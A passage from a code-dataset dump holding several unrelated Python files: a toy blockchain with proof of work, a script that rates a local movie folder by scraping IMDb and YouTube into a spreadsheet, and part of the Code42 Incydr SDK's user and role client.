vid}\n\ndef hash_string(string):\n return hashlib.sha256(string.encode('utf-8')).hexdigest()\n\ndef getVideo(article, title):\n vidFromArticle = getVideoFromArticle(article)\n if vidFromArticle != None:\n return vidFromArticle\n else:\n return getVideoFromAzure(title)\n\ndef checkDifference(newC, prevC):\n if newC == None or prevC == None:\n return True\n if len(newC) != len(prevC):\n return True\n else:\n for key in newC:\n if not key in prevC:\n return True\n return False\n\nif __name__ == \"__main__\":\n Parser().getParsedInfo(dict())", "repo_name": "tarsbase/MSNewsAR", "sub_path": "server/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 2634, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 58, "usage_type": "call"}]} {"seq_id": "18507731910", "text": "from functools import reduce\nimport json\nfrom ACADEMIND.utility.hash_util import hash_block\nfrom ACADEMIND.block import Block\nfrom ACADEMIND.transaction import Transaction\nfrom ACADEMIND.utility.verification import Verification\nfrom ACADEMIND.wallet import Wallet\n\nMINING_REWARD = 10.0\n\n\nclass Blockchain:\n _chain: [Block]\n\n def __init__(self, hosting_node_id):\n # Unhandled transactions\n self.__open_transactions = []\n genesis_block = Block(0, '', [], 0)\n # Initializing the blockchain list\n self.chain = [genesis_block]\n self.load_data()\n self.hosting_node = hosting_node_id\n\n @property\n def chain(self):\n return self._chain[:]\n\n @chain.setter\n def chain(self, value):\n self._chain = value\n\n def get_open_transactions(self):\n return self.__open_transactions[:]\n\n def load_data(self):\n try:\n with open('blockchain.txt', mode='r') as f:\n # file_content = pickle.loads(f.read())\n\n file_content = f.readlines()\n\n # blockchain = file_content['chain']\n # open_transactions = file_content['ot']\n blockchain = json.loads(file_content[0][:-1])\n updated_blockchain = []\n for block in blockchain:\n converted_tx = [Transaction(tx['sender'], tx['recipient'], tx['signature'], tx['amount']) for tx in\n block['transactions']]\n updated_block = Block(block['index'], block['previous_hash'], converted_tx, block['proof'],\n block['timestamp'])\n updated_blockchain.append(updated_block)\n self.chain = updated_blockchain[:]\n open_transactions = json.loads(file_content[1])\n updated_transactions = []\n for tx in open_transactions:\n updated_transaction = Transaction(tx['sender'], tx['recipient'], tx['signature'], tx['amount'])\n updated_transactions.append(updated_transaction)\n self.__open_transactions = updated_transactions[:]\n except (IOError, IndexError):\n pass\n\n def save_data(self):\n try:\n with open('blockchain.txt', mode='w') as f:\n savable_chain = [block.__dict__ for block in [\n Block(block_el.index, block_el.previous_hash, [tx.__dict__ for tx in block_el.transactions],\n block_el.proof, block_el.timestamp) for block_el in self._chain]]\n f.write(json.dumps(savable_chain))\n f.write('\\n')\n savable_tx = [tx.__dict__ for tx in self.__open_transactions]\n f.write(json.dumps(savable_tx))\n # save_data = {\n # 'chain': blockchain,\n # 'ot': open_transactions\n # }\n # f.write(pickle.dumps(save_data))\n except IOError:\n print(\"Saving Failed!\")\n\n def proof_of_work(self):\n \"\"\"Generate a proof of work for the candidate block\"\"\"\n last_block = self._chain[-1]\n last_hash = hash_block(last_block)\n proof = 0\n while not Verification.valid_proof(self.__open_transactions, last_hash, proof):\n proof += 1\n return proof\n\n def get_balance(self):\n \"\"\"\n :return: The remaining balance of the node\n \"\"\"\n if self.hosting_node is None:\n return None\n participant = self.hosting_node\n tx_sender = [[tx.amount for tx in block.transactions if tx.sender == participant] for block in self._chain]\n open_tx_sender = [tx.amount for tx in self.__open_transactions if tx.sender == participant]\n tx_sender.append(open_tx_sender)\n amount_sent = reduce(lambda tx_sum, tx: tx_sum + sum(tx) if len(tx) > 0 else tx_sum + 0, tx_sender, 0)\n\n tx_recipient = [[tx.amount for tx in block.transactions if tx.recipient == participant] for block in\n self._chain]\n amount_received = reduce(lambda tx_sum, tx: tx_sum + sum(tx) if len(tx) > 0 else tx_sum + 0, tx_recipient,\n 0)\n return amount_received - amount_sent\n\n def get_last_blockchain_value(self):\n \"\"\"\n :return: Returns the last value of the current blockchain.\n \"\"\"\n if len(self._chain) < 1:\n return None\n else:\n return self._chain[-1]\n\n def add_transaction(self, sender, recipient, signature, amount=1.0):\n \"\"\"\n Append a new transaction to the blockchain.\n :param sender:\n :param recipient:\n :param amount:\n :return:\n \"\"\"\n # transaction = {\n # 'sender': sender,\n # 'recipient': recipient,\n # 'amount': amount\n # }\n if self.hosting_node is None:\n return False\n transaction = Transaction(sender, recipient, signature, amount)\n if Verification.verify_transaction(transaction, self.get_balance):\n self.__open_transactions.append(transaction)\n self.save_data()\n return True\n else:\n return False\n\n def mine_block(self):\n if self.hosting_node is None or self.chain is None:\n return None\n last_block = self._chain[-1]\n hashed_block = hash_block(last_block)\n proof = self.proof_of_work()\n reward_transaction = Transaction('MINING', self.hosting_node, \"\", MINING_REWARD)\n copied_transactions = self.__open_transactions[:]\n for tx in copied_transactions:\n if not Wallet.verify_transaction(tx):\n print(\"Mining failed for the transaction {} is in valid\".format(tx))\n return None\n copied_transactions.append(reward_transaction)\n block = Block(len(self._chain), hashed_block, copied_transactions, proof)\n self._chain.append(block)\n self.__open_transactions = []\n self.save_data()\n return block\n", "repo_name": "AdijeShen/Helloblockchain", "sub_path": "ACADEMIND/blockchain.py", "file_name": "blockchain.py", "file_ext": "py", "file_size_in_byte": 6100, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ACADEMIND.block.Block", "line_number": 13, "usage_type": "name"}, {"api_name": "ACADEMIND.block.Block", "line_number": 18, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "ACADEMIND.transaction.Transaction", "line_number": 47, "usage_type": "call"}, {"api_name": "ACADEMIND.block.Block", "line_number": 49, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "ACADEMIND.transaction.Transaction", "line_number": 56, "usage_type": "call"}, {"api_name": "ACADEMIND.block.Block", "line_number": 66, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 68, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 71, "usage_type": "call"}, {"api_name": "ACADEMIND.utility.hash_util.hash_block", "line_number": 83, "usage_type": "call"}, {"api_name": "ACADEMIND.utility.verification.Verification.valid_proof", "line_number": 85, "usage_type": "call"}, {"api_name": "ACADEMIND.utility.verification.Verification", "line_number": 85, "usage_type": "name"}, {"api_name": "functools.reduce", "line_number": 99, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 103, "usage_type": "call"}, {"api_name": "ACADEMIND.transaction.Transaction", "line_number": 131, "usage_type": "call"}, {"api_name": "ACADEMIND.utility.verification.Verification.verify_transaction", "line_number": 132, "usage_type": "call"}, {"api_name": "ACADEMIND.utility.verification.Verification", "line_number": 132, "usage_type": "name"}, {"api_name": "ACADEMIND.utility.hash_util.hash_block", "line_number": 143, "usage_type": "call"}, {"api_name": "ACADEMIND.transaction.Transaction", "line_number": 145, "usage_type": "call"}, {"api_name": "ACADEMIND.wallet.Wallet.verify_transaction", "line_number": 148, "usage_type": "call"}, {"api_name": "ACADEMIND.wallet.Wallet", "line_number": 148, "usage_type": "name"}, {"api_name": "ACADEMIND.block.Block", "line_number": 152, "usage_type": "call"}]} {"seq_id": "74730737823", "text": "import os\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport xlsxwriter\r\n\r\nclass Movie:\r\n\tismovie=False\r\n\ttitle=\"ABC\"\r\n\tyear=\"0\"\r\n\tgenre=\"\"\r\n\trating=\"0.0\"\r\n\tpart=\"0\"\r\n\terror=False\r\n\tyoutubelink=\"\"\r\n\r\ndef getmovieinfo(name):\r\n\ts=requests.session()\r\n\tguessurl= \"http://guessit.io/guess?filename=\"+name\r\n\t#print guessurl\r\n\tmovieguesspage=s.get(guessurl)\r\n\tmovieinfo=movieguesspage.content\r\n\r\n\tmov=Movie()\r\n\r\n\t'''if \"\\\"type\\\"\" in movieinfo:\r\n\t\ttype_start=movieinfo.find(\"\\\"type\\\"\")+9\r\n\t\ttype_end=movieinfo[type_start:].find(\"\\\"\")+type_start\r\n\t\tmovietype=movieinfo[type_start:type_end]\r\n\t\t#print movietype\r\n\t\tif(movietype==\"movie\"):\r\n\t\t\tmov.ismovie=True\r\n\t\telse:\r\n\t\t\treturn mov'''\r\n\t#print movieinfo\r\n\tif \"title\" in movieinfo and \"500 Internal Server Error\" not in movieinfo:\r\n\t\ttitle_start=movieinfo.find(\"title\")+9\r\n\t\ttitle_end=movieinfo[title_start:].find(\"\\\"\")+title_start\r\n\t\tmov.title=movieinfo[title_start:title_end]\r\n\t\t#print mov.title\r\n\telse:\r\n\t\tmov.error=True\r\n\t\tmov.title=name\r\n\t\t#print \"1\"\r\n\t\treturn mov\r\n\r\n\tif \"year\" in movieinfo:\r\n\t\tyear_start=movieinfo.find(\"year\")+7\r\n\t\tyear_end=movieinfo[year_start:].find(\",\")+year_start\r\n\t\tmov.year=movieinfo[year_start:year_end]\r\n\t#print mov.year\r\n\r\n\tif \"part\" in movieinfo:\r\n\t\tpart_start=movieinfo.find(\"\\\"part\\\"\")+8\r\n\t\tpart_end=movieinfo[part_start:].find(\",\")+part_start\r\n\t\tmov.part=movieinfo[part_start:part_end]\r\n\t#print movieinfo\r\n\t\r\n\t#print mov.part\r\n\t#print \"2\"\r\n\treturn mov\r\n\r\ndef getrating(mov):\r\n\ts=requests.session()\r\n\tif mov.error==True:\r\n\t\turl = \"https://www.google.co.in/search?q=\"+mov.title+\" movie imdb\"\r\n\t#print mov.title\r\n\telse:\r\n\t\turl = \"https://www.google.co.in/search?q=\"+mov.title\r\n\t\tif mov.part != \"0\":\r\n\t\t\turl = url + \" part \" + mov.part\r\n\t\tif mov.year != \"0\":\r\n\t\t\turl = url + \" year \"+mov.year\r\n\t\turl = url + \" imdb\"\r\n\t#print url\r\n\tpage = s.get(url)\r\n\tsoup = BeautifulSoup(page.content)\r\n\ta_s=soup.find_all('a')\r\n\tmov.error=True\r\n\tfor a in a_s:\r\n\t\tlink=a.get(\"href\")\r\n\t\tif \"http://www.imdb.com/title/tt\" in link:\t\r\n\t\t\tmov.error=False\r\n\t\t\t#print(link)\r\n\t\t\tstart=link.find(\"http\")\r\n\t\t\tend=link.find(\"title/tt\")\r\n\t\t\tend=end+15;\r\n\t\t\t#end=link[end:].find(\"/\")+end\r\n\t\t\tcompletelink=link[start:end]\r\n\t\t\t#print(completelink)\r\n\t\t\tnewpage=s.get(completelink)\r\n\t\t\tnewsoup=BeautifulSoup(newpage.content)\r\n\t\t\theading=newsoup.find('h1')\r\n\t\t\tmov.title=heading.find('span',attrs={'itemprop':'name'}).string\r\n\t\t\tif heading.find('a')==None:\r\n\t\t\t\tyearstring=heading.find('span',attrs={'class':'nobr'}).string\r\n\t\t\t\tmov.year=yearsting[1:-1]\r\n\t\t\telse:\r\n\t\t\t\tyearstring=heading.find('a').get('href')\r\n\t\t\t\tmov.year=yearstring[6:10]\r\n\t\t\t#print mov.year\r\n\t\r\n\t\t\trating_tags=newsoup.find('span', attrs={'itemprop':'ratingValue'})\r\n\t\t\tif(rating_tags == None):\r\n\t\t\t\tmov.error=True\r\n\t\t\t\treturn mov\r\n\t\t\tmov.rating=rating_tags.string\r\n\t\t\t\t\r\n\t\t\tgenre_tags=newsoup.find_all('span',attrs={'itemprop':'genre'})\r\n\t\t\tfor genre_tag in genre_tags:\r\n\t\t\t\tmov.genre=mov.genre+genre_tag.string+'|'\r\n\t\t\tmov.genre=mov.genre[:-1]\r\n\t\t\tbreak\r\n\t#print mov.rating\r\n\treturn mov\r\n\r\ndef getyoutubelink(mov):\r\n\ts=requests.session()\r\n\tsearchurl=\"https://www.youtube.com/results?search_query=\"+mov.title+\"official trailer\"\r\n\tpage = s.get(searchurl)\r\n\tsoup = BeautifulSoup(page.content)\r\n\th_s=soup.find('h3',attrs={'class':'yt-lockup-title'})\r\n\tlink = h_s.find('a').get('href')\r\n\tmov.youtubelink=\"https://www.youtube.com\"+link\r\n\treturn mov\r\n\r\nvideoExtensions = [\".avi\",\".mp4\",\".mkv\",\".mpg\",\".mpeg\",\".mov\",\".wmv\",\".flv\",\".3gp\",\".MP4\",\".AVI\",\".WMV\",\".MOV\",\".FLV\",\".MKV\"]\r\nerrorfiles=[\"nil\"]\r\ndirectory=\"F:\\movies\"\r\n\r\nworkbook = xlsxwriter.Workbook(\"Movie_Rating.xlsx\")\r\nworksheet = workbook.add_worksheet('rating')\r\n\r\nbold = workbook.add_format({'bold': True})\r\n\r\ntitle_format = workbook.add_format({'underline': 1})\r\n\r\nrating_format = workbook.add_format()\r\nrating_format.set_num_format('0x0F')\r\nrating_format.set_align('right')\r\n\r\nyear_format = workbook.add_format()\r\nyear_format.set_num_format('0000')\r\nyear_format.set_align('right')\r\n\r\nurl_format = workbook.add_format({'font_color': 'blue','underline': 1})\r\n\r\nworksheet.write('A1','Movie',bold)\r\nworksheet.write('B1','Year',bold)\r\nworksheet.write('C1','Rating',bold)\r\nworksheet.write('D1','Genre',bold)\r\nworksheet.write('E1','Trailer',bold)\r\nworksheet.set_column(0,0,40)\r\n#worksheet.set_column(0,0,30)\r\n#worksheet.set_column(0,0,30)\r\nworksheet.set_column(3,4,50)\r\n#worksheet.set_column(4,4,50)\r\nrow=1\r\n\r\ncur_movie = Movie()\r\nf=open('F:/movies/error.txt','w')\r\n#f.write('Movie,IMDb Rating,Genre')\r\nfor root, dirs, files in os.walk(directory, topdown=False):\r\n\tfor name in files:\r\n\t\tfor extension in videoExtensions:\r\n\t\t\tif name.endswith(extension):\r\n\t\t\t\tif os.path.getsize(os.path.join(root,name))>50000000:\r\n\t\t\t\t\tcur_movie = getmovieinfo(name)\r\n\t\t\t\t\tif cur_movie.error==True:\r\n\t\t\t\t\t\tf.write(os.path.join(root, name))\r\n\t\t\t\t\tcur_movie = getrating(cur_movie)\r\n\t\t\t\t\tcur_movie = getyoutubelink(cur_movie)\r\n\t\t\t\t\tif cur_movie.error==True:\r\n\t\t\t\t\t\tf.write(os.path.join(root, name))\r\n\t\t\t\t\t#print os.path.join(root, name)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tworksheet.write_url(row,0,os.path.join(root, name),title_format,cur_movie.title)\r\n\t\t\t\t\t\tworksheet.write(row,1,cur_movie.year,year_format)\r\n\t\t\t\t\t\tif float(cur_movie.rating)+0.1 >8.0:\r\n\t\t\t\t\t\t\trating_format.set_font_color('green')\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\trating_format.set_font_color('red')\r\n\t\t\t\t\t\tworksheet.write(row,2,cur_movie.rating,rating_format)\r\n\t\t\t\t\t\tworksheet.write(row,3,cur_movie.genre)\r\n\t\t\t\t\t\tworksheet.write_url(row,4,cur_movie.youtubelink,url_format)\r\n\t\t\t\t\t\trow += 1\r\n\t\t\t\t\t\tprint (\"completed {title}\".format(title=cur_movie.title))\r\n\t\t\t\t\t#f.write('\\n{title},{rating},{genre}'.format(title=cur_movie.title,rating=cur_movie.rating,genre=cur_movie.genre))\r\n\t\t\t\t\t#print('\\n{title},{rating},{genre}'.format(title=cur_movie.title,rating=cur_movie.rating,genre=cur_movie.genre))\r\nf.close()\r\nworkbook.close()\r\nprint ('Ratings assigned successfully')\t\t\t\t\r\n\t\t\t\t#count=count+1\r\n\t\t\t\t#print(os.path.join(root, name))\r\n\r\n#print count\r\n", "repo_name": "anujm08/MovieChooser", "sub_path": "movieChooser.py", "file_name": "movieChooser.py", "file_ext": "py", "file_size_in_byte": 5932, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.session", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 63, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 76, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 91, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 117, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 120, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 130, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}]} {"seq_id": "6040189698", "text": "from itertools import count\nfrom typing import Iterator\nfrom typing import List\nfrom typing import Union\n\nfrom pydantic import parse_obj_as\nfrom requests import Response\n\nfrom _incydr_sdk.devices.models import DevicesPage\nfrom _incydr_sdk.devices.models import QueryDevicesRequest\nfrom _incydr_sdk.enums import SortDirection\nfrom _incydr_sdk.enums.devices import SortKeys\nfrom _incydr_sdk.exceptions import IncydrException\nfrom _incydr_sdk.users.models import QueryUsersRequest\nfrom _incydr_sdk.users.models import Role\nfrom _incydr_sdk.users.models import UpdateRolesResponse\nfrom _incydr_sdk.users.models import User\nfrom _incydr_sdk.users.models import UserRole\nfrom _incydr_sdk.users.models import UsersPage\n\n\nclass UsersClient:\n def __init__(self, parent):\n self._parent = parent\n self._v1 = None\n\n @property\n def v1(self):\n if self._v1 is None:\n self._v1 = UsersV1(self._parent)\n return self._v1\n\n\nclass UsersV1:\n \"\"\"Client for `/v1/users` endpoints.\n\n Usage example:\n\n >>> import incydr\n >>> client = incydr.Client(**kwargs)\n >>> client.users.v1.get_page()\n \"\"\"\n\n def __init__(self, parent):\n self._parent = parent\n self._available_roles = {}\n\n def get_user(self, user: str) -> User:\n \"\"\"\n Get a single user.\n\n **Parameters:**\n\n * **user**: `str` - The unique ID for the user or the username for the user.\n\n **Returns**: A [`User`][user-model] object representing the user.\n \"\"\"\n\n # if username, lookup with get page api\n if \"@\" in user:\n users = self.get_page(username=user).users\n if len(users) < 1:\n raise ValueError(f\"User with username '{user}' not found.\")\n return users[0]\n\n # if user ID, use GET api\n response = self._parent.session.get(f\"/v1/users/{user}\")\n return User.parse_response(response)\n\n def get_page(\n self,\n active: bool = None,\n blocked: bool = None,\n username: str = None,\n page_num: int = 1,\n page_size: int = None,\n ) -> UsersPage:\n \"\"\"\n Get a page of users.\n\n Filter results by passing the appropriate parameters:\n\n **Parameters**:\n\n * **active**: `bool | None` - When true, return only active users. When false, return only inactive users. Defaults to returning both.\n * **blocked**: `bool | None` - When true, return only blocked users. When false, return only unblocked users. Defaults to returning both.\n * **username**: `str` - The username of a user to search for.\n * **page_num**: `int` - Page number for results. Defaulting to 1.\n * **page_size**: `int` - Max number of results to return per page. Defaulting to client's `page_size` setting.\n\n **Returns**: A [`UsersPage`][userspage-model] object.\n \"\"\"\n page_size = page_size or self._parent.settings.page_size\n data = QueryUsersRequest(\n active=active,\n blocked=blocked,\n username=username,\n page=page_num,\n pageSize=page_size,\n )\n response = self._parent.session.get(\"/v1/users\", params=data.dict())\n return UsersPage.parse_response(response)\n\n def get_devices(\n self,\n user_id: str,\n active: bool = None,\n blocked: bool = None,\n page_num: int = 1,\n page_size: int = None,\n sort_dir: SortDirection = SortDirection.ASC,\n sort_key: SortKeys = SortKeys.NAME,\n ) -> User:\n \"\"\"\n Get a page of devices associated with a specific user.\n\n Filter results by passing the appropriate parameters:\n\n **Parameters**:\n\n * **user_id**: `str` (required) - The unique ID for the user.\n * **active**: `bool` - Whether or not the device is active. If true, the device will show up on reports, etc.\n * **blocked**: `bool` - Whether or not the device is blocked. If true, restores and logins are disabled.\n * **page_num**: `int` - Page number for results. Defaulting to 1.\n * **page_size**: `int` - Max number of results to return per page. Defaulting to client's `page_size` settings.\n * **sort_dir**: `SortDirection` - 'asc' or 'desc'. The direction in which to sort the response based on the corresponding key. Defaults to 'asc'.\n * **sort_key**: `SortKeys` - One or more values on which the response will be sorted. Defaults to device name.\n\n **Returns**: A [`DevicesPage`][devicespage-model] object.\n \"\"\"\n page_size = page_size or self._parent.settings.page_size\n data = QueryDevicesRequest(\n page=page_num,\n pageSize=page_size,\n sortKey=sort_key,\n sortDirection=sort_dir,\n active=active,\n blocked=blocked,\n )\n response = self._parent.session.get(\n f\"/v1/users/{user_id}/devices\", params=data.dict()\n )\n return DevicesPage.parse_response(response)\n\n def iter_all(\n self,\n active: bool = None,\n blocked: bool = None,\n username: str = None,\n page_size: int = None,\n ) -> Iterator[User]:\n \"\"\"\n Iterate over all users.\n\n Accepts the same parameters as `.get_page()` excepting `page_num`.\n\n **Returns**: A generator yielding individual [`User`][user-model] objects.\n \"\"\"\n page_size = page_size or self._parent.settings.page_size\n for page_num in count(1):\n page = self.get_page(\n active=active,\n blocked=blocked,\n username=username,\n page_num=page_num,\n page_size=page_size,\n )\n yield from page.users\n if len(page.users) < page_size:\n break\n\n def list_user_roles(\n self,\n user_id: str,\n ) -> List[UserRole]:\n \"\"\"\n Get a list of roles associated with a specific user.\n\n **Parameters**:\n\n * **user_id**: `str` (required) - The unique ID for the user.\n\n **Returns**: A list of [`UserRole`][role-model] objects.\n \"\"\"\n response = self._parent.session.get(f\"/v1/users/{user_id}/roles\")\n return parse_obj_as(List[UserRole], response.json()[\"roles\"])\n\n def update_roles(\n self, user_id: str, roles: Union[str, List[str]]\n ) -> UpdateRolesResponse:\n \"\"\"\n Replace the roles associated with a user.\n\n **Parameters**:\n\n * **user_id**: `str` (required) - The unique ID for the user.\n * **roles**: `str | List[str]` The new roles to assign the user (ex: desktop-user). These will replace the existing roles assigned to the user. Accepts either role IDs or role names.\"\n\n **Returns**: A [`UpdateRolesResponse`][updaterolesresponse-model] object.\n \"\"\"\n if not isinstance(roles, List):\n roles = [roles]\n\n roles = [self._get_id_by_name(role) for role in roles]\n\n response = self._parent.session.put(\n f\"/v1/users/{user_id}/roles\", json={\"roleIds\": roles}\n )\n return UpdateRolesResponse.parse_response(response)\n\n def add_roles(\n self, user_id: str, roles: Union[str, List[str]]\n ) -> UpdateRolesResponse:\n \"\"\"\n Add a role, or multiple roles, to a user's existing roles.\n\n **Parameters**:\n\n * **user_id**: `str` (required) - The unique ID for the user.\n * **roles**: `str | List[str]` The roles to add to the user. Accepts either role IDs or role names (case-sensitive).\"\n\n **Returns**: A [`UpdateRolesResponse`][updaterolesresponse-model] object.\n \"\"\"\n roles = self._update_role_ids_for_user(roles, user_id, add=True)\n response = self._parent.session.put(\n f\"/v1/users/{user_id}/roles\", json={\"roleIds\": roles}\n )\n return UpdateRolesResponse.parse_response(response)\n\n def remove_roles(\n self, user_id: str, roles: Union[str, List[str]]\n ) -> UpdateRolesResponse:\n \"\"\"\n Remove a role, or multiple roles, from a user's current roles.\n\n **Parameters**:\n\n * **user_id**: `str` (required) - The unique ID for the user.\n * **roles**: `str | List[str]` The roles to remove from the user. Accepts either role IDs or role names.\"\n\n **Returns**: A `requests.Response` indicating success.\n \"\"\"\n roles = self._update_role_ids_for_user(roles, user_id, add=False)\n response = self._parent.session.put(\n f\"/v1/users/{user_id}/roles\", json={\"roleIds\": roles}\n )\n return UpdateRolesResponse.parse_response(response)\n\n def move(self, user_id: str, org_guid: str) -> Response:\n \"\"\"\n Move a user to a specified organization\n\n **Parameters**:\n\n * **user_id**: `str` - The unique ID for the user.\n * **org_guid**: `str` The orgGuid of the org to move the user to.\"\n\n **Returns**: A `requests.Response` indicating success.\n \"\"\"\n return self._parent.session.post(\n f\"/v1/users/{user_id}/move\", json={\"orgGuid\": org_guid}\n )\n\n def activate(self, user_id: str) -> Response:\n \"\"\"\n Activate a user.\n\n **Parameters:**\n\n * **user_id**: `str` (required) - The unique ID for the user.\n\n **Returns**: A `requests.Response` indicating success.\n \"\"\"\n return self._parent.session.post(f\"/v1/users/{user_id}/activate\")\n\n def deactivate(self, user_id: str) -> Response:\n \"\"\"\n Deactivate a user.\n\n **Parameters:**\n\n * **user_id**: `str` (required) - The unique ID for the user.\n\n **Returns**: A `requests.Response` indicating success.\n \"\"\"\n return self._parent.session.post(f\"/v1/users/{user_id}/deactivate\")\n\n def list_roles(self) -> List[Role]:\n \"\"\"\n Get a list of all available roles that can be assigned by the current user.\n\n **Parameters**:\n\n **Returns**: A list of [`Role`][role-model] objects.\n \"\"\"\n response = self._parent.session.get(\"/v1/users/roles\")\n return parse_obj_as(List[Role], response.json())\n\n def get_role(self, role: str) -> Role:\n \"\"\"\n Get details for a single role.\n\n **Parameters**:\n\n * **role**: `str` (required) - Role ID or role name (case-sensitive).\n\n **Returns**: A [`Role`](role-model) object.\n \"\"\"\n response = self._parent.session.get(\n f\"/v1/users/roles/{self._get_id_by_name(role)}\"\n )\n return Role.parse_response(response)\n\n def _get_id_by_name(self, role_name: str):\n \"\"\"\n Get a role ID by its name.\n\n Returns the role ID unchanged if it doesn't match any names of available roles.\n \"\"\"\n if not self._available_roles:\n self._lookup_roles()\n for name, id_ in self._available_roles.items():\n if (role_name == name) or (role_name == id_):\n return id_\n raise RoleNotFoundError(role_name)\n\n def _update_role_ids_for_user(self, roles, user_id, add=True):\n \"\"\"\n Adds or removes a role ID specified by `role` to the list of user's role IDs,\n which can be passed to the update roles method.\n\n Where `role_name` is either a role name or a role ID.\n\n Returns the updated list of role IDs for a user.\n \"\"\"\n errors = []\n\n role_ids = [i.role_id for i in self.list_user_roles(user_id)]\n\n if not self._available_roles:\n self._lookup_roles()\n\n if not isinstance(roles, List):\n roles = [roles]\n\n for role in roles:\n try:\n id_ = self._get_id_by_name(role)\n except RoleNotFoundError as err:\n errors.append(err)\n continue\n if add:\n role_ids.append(id_)\n else:\n try:\n role_ids.remove(id_)\n except ValueError:\n errors.append(UserNotAssignedRoleError(id_))\n\n if errors:\n raise RoleProcessingError(errors)\n\n return role_ids\n\n def _lookup_roles(self):\n \"\"\"Map role names to role ID.\"\"\"\n self._available_roles = {}\n available_roles = self.list_roles()\n for r in available_roles:\n self._available_roles[r.role_name] = r.role_id\n\n\nclass RoleProcessingError(IncydrException):\n \"\"\"\n Outputs list of errors that arose during processing.\n\n Example output:\n incydr._users.client.RoleProcessingError: The following errors arose during role processing:\n * User is not currently assigned the following role: 'alert-emails'. Role cannot be removed.\n * No role matching the following was found: 'fake', or you do not have permission to assign this role.\n \"\"\"\n\n def __init__(self, errors):\n message = (\n \"The following errors arose during role processing:\\n\\t* \"\n + \"\\n\\t* \".join([str(e) for e in errors])\n )\n super().__init__(message)\n self._errors = errors\n\n @property\n def errors(self):\n \"\"\"List of errors that arose during role processing.\"\"\"\n return self._errors\n\n\nclass UserNotAssignedRoleError(IncydrException):\n def __init__(self, role):\n message = f\"User Not Assigned Role Error: User is not currently assigned the following role: '{role}'. Role cannot be removed.\"\n super().__init__(message)\n self._role = role\n\n @property\n def role(self):\n \"\"\"The role which cannot be assigned.\"\"\"\n return self._role\n\n\nclass RoleNotFoundError(IncydrException):\n def __init__(self, role):\n message = f\"Role Not Found Error: No role matching the following was found: '{role}', or you do not have permission to assign this role. Roles can be specified by case-sensitive name (ie. 'Cloud Admin') or ID (ie. cloud-admin).\"\n super().__init__(message)\n self._role = role\n\n @property\n def role(self):\n \"\"\"The role which could not be found\"\"\"\n return self._role\n", "repo_name": "code42/incydr_python", "sub_path": "src/_incydr_sdk/users/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 14133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "_incydr_sdk.users.models.User.parse_response", "line_number": 68, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.User", "line_number": 68, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.User", "line_number": 48, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.QueryUsersRequest", "line_number": 94, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.UsersPage.parse_response", "line_number": 102, "usage_type": "call"}, {"api_name": "_incydr_sdk.users.models.UsersPage", "line_number": 102, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UsersPage", "line_number": 77, "usage_type": "name"}, {"api_name": "_incydr_sdk.enums.SortDirection", "line_number": 111, "usage_type": "name"}, {"api_name": "_incydr_sdk.enums.devices.SortKeys", "line_number": 112, "usage_type": "name"}, {"api_name": "_incydr_sdk.enums.SortDirection.ASC", "line_number": 111, "usage_type": "attribute"}, {"api_name": "_incydr_sdk.enums.devices.SortKeys.NAME", "line_number": 112, "usage_type": "attribute"}, {"api_name": "_incydr_sdk.devices.models.QueryDevicesRequest", "line_number": 132, "usage_type": "call"}, {"api_name": "_incydr_sdk.devices.models.DevicesPage.parse_response", "line_number": 143, "usage_type": "call"}, {"api_name": "_incydr_sdk.devices.models.DevicesPage", "line_number": 143, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.User", "line_number": 113, "usage_type": "name"}, {"api_name": "itertools.count", "line_number": 160, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 151, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.User", "line_number": 151, "usage_type": "name"}, {"api_name": "pydantic.parse_obj_as", "line_number": 186, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 186, "usage_type": "name"}, {"api_name": "_incydr_sdk.users.models.UserRole", "line_number": 186, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 175, "usage_type": "name"}, {"api_name": 